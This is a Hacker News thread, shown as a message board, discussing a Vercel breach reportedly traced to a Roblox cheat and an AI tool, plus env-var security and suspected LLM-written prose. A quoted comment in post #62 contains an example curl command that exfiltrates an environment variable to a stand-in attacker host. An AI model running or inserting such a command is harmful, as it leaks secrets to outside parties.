Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

A Roblox cheat and one AI tool brought down Vercel's platform

webmatrices.com

Post reply on HN
Print view View original

61–70 of 186 posts

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#61

Post by ErroneousBosh »

otabdeveloper4 wrote: post #46
trick-or-treat wrote: post #24

Earlier quoted context omitted.

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

Env vars are not secure. Anything that has root access can see all env vars of all applications via /proc. (And modern Linux is unusable without root access, thanks to Docker and other fast-and-loose approaches.)

How often do you log in as root, or use sudo to become root, when you're working with Docker containers?

Because I never do, unless I'm down in the depths of /var/lib/docker doing stuff I shouldn't.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#62

Post by ErroneousBosh »

bauruine wrote: post #28
trick-or-treat wrote: post #24

Earlier quoted context omitted.

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them. What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?

Exactly. How do you play back the encrypted DVD without having the decryption key right there on the player for everyone to find?

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#63

Post by ErroneousBosh »

darkwater wrote: post #49

I don't want to do the easy finger-pointing and scapegoating but honestly, what should happen to the Context.ai employee that thought it was a good idea to play games in their work machine and, on top of that, install cheats which are by definition of dubious provenance? I know defense in depth, security layers etc etc but there is also some personal responsibility at play here. We can chalk up the Vercel's employee…

Right? This isn't "A Roblox cheat and an AI tool", this is a failure of basic basic basic opsec across two organisations.

One for which the Context.ai employee needs to have their arse booted up and down the car park for.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#64

Post by kauli »

notpachet wrote: post #34
ryanisnan wrote: post #10

Convenience is our Achilles heel, as a society. We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv. We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy. We'll let AI run that thing for us, because it's just too easy. A whole generation has grown up without knowing what it was like to infect your com…

> Convenience is our Achilles heel More generically, our species' Achilles heel is our inability to factor in the long-term cost of negative externalities when evaluating processes that yield short-term positive results.

This. From simple personal choices to the marker economy and politics. With games we're introduced to cheat codes pretty early in our lives. Some people outgrow them, some don't. Too bad our systems encourage their use, whether it's a time-to-market thing, cutting costs, or the next election.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#65

Post by gmerc »

darkwater wrote: post #49

I don't want to do the easy finger-pointing and scapegoating but honestly, what should happen to the Context.ai employee that thought it was a good idea to play games in their work machine and, on top of that, install cheats which are by definition of dubious provenance? I know defense in depth, security layers etc etc but there is also some personal responsibility at play here. We can chalk up the Vercel's employee…

Let’s just say that OpSec at companies adopting AI is low across the board because security just isn’t a deciding feature at the moment. See McDonalds breach 2 years ago

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#66

Post by ashirviskas »

voidUpdate wrote: post #57
rightbyte wrote: post #53

Earlier quoted context omitted.

Last edit maybe? It is so annoying when sites don't publish the original timestamp.

It's still showing a time in the future, which only makes sense if there is some kind of error with the server time or some kind of weird timezone conversion gone wrong

Can confirm, in 6 hours.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#67

Post by sitkack »

ErroneousBosh wrote: post #63
darkwater wrote: post #49

I don't want to do the easy finger-pointing and scapegoating but honestly, what should happen to the Context.ai employee that thought it was a good idea to play games in their work machine and, on top of that, install cheats which are by definition of dubious provenance? I know defense in depth, security layers etc etc but there is also some personal responsibility at play here. We can chalk up the Vercel's employee…

Right? This isn't "A Roblox cheat and an AI tool", this is a failure of basic basic basic opsec across two organisations. One for which the Context.ai employee needs to have their arse booted up and down the car park for.

What about the context.ai security team?

You can blame individuals, but security is a property of the system.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#68

Post by sitkack »

nilsbunger wrote: post #33
ethin wrote: post #5

This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.

I thought the same. Normal people don’t write that way.

Soon they will!

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#69

Post by sitkack »

trick-or-treat wrote: post #17

According to the email I got from Vercel it was a limited subset of customers and I'm not one: Initially, we identified a limited subset of customers whose Vercel credentials were compromised. We reached out to that subset and recommended that they rotate their credentials immediately. At this time, we do not have reason to believe that your Vercel credentials or personal data have been compromised.

That parentset was just you.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#70

Post by post_below »

ethin wrote: post #5

This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.

It's absolutely LLM prose, though not all of it. Maybe the author rewrote parts.

The thing that concerns me is that even at a site like HN, where a lot of people are very familiar with LLMs, it seems to be passing.

I hate to think this will become the norm but it's not the first HN linked post that's gotten a lot of earnest engagement despite being AI generated (or partly AI generated).

I'm very comfortable with AI generated code, if the humans involved are doing due diligence, but I really dislike the idea of LLM generated prose taking over more and more of the front page.

Post reply on HN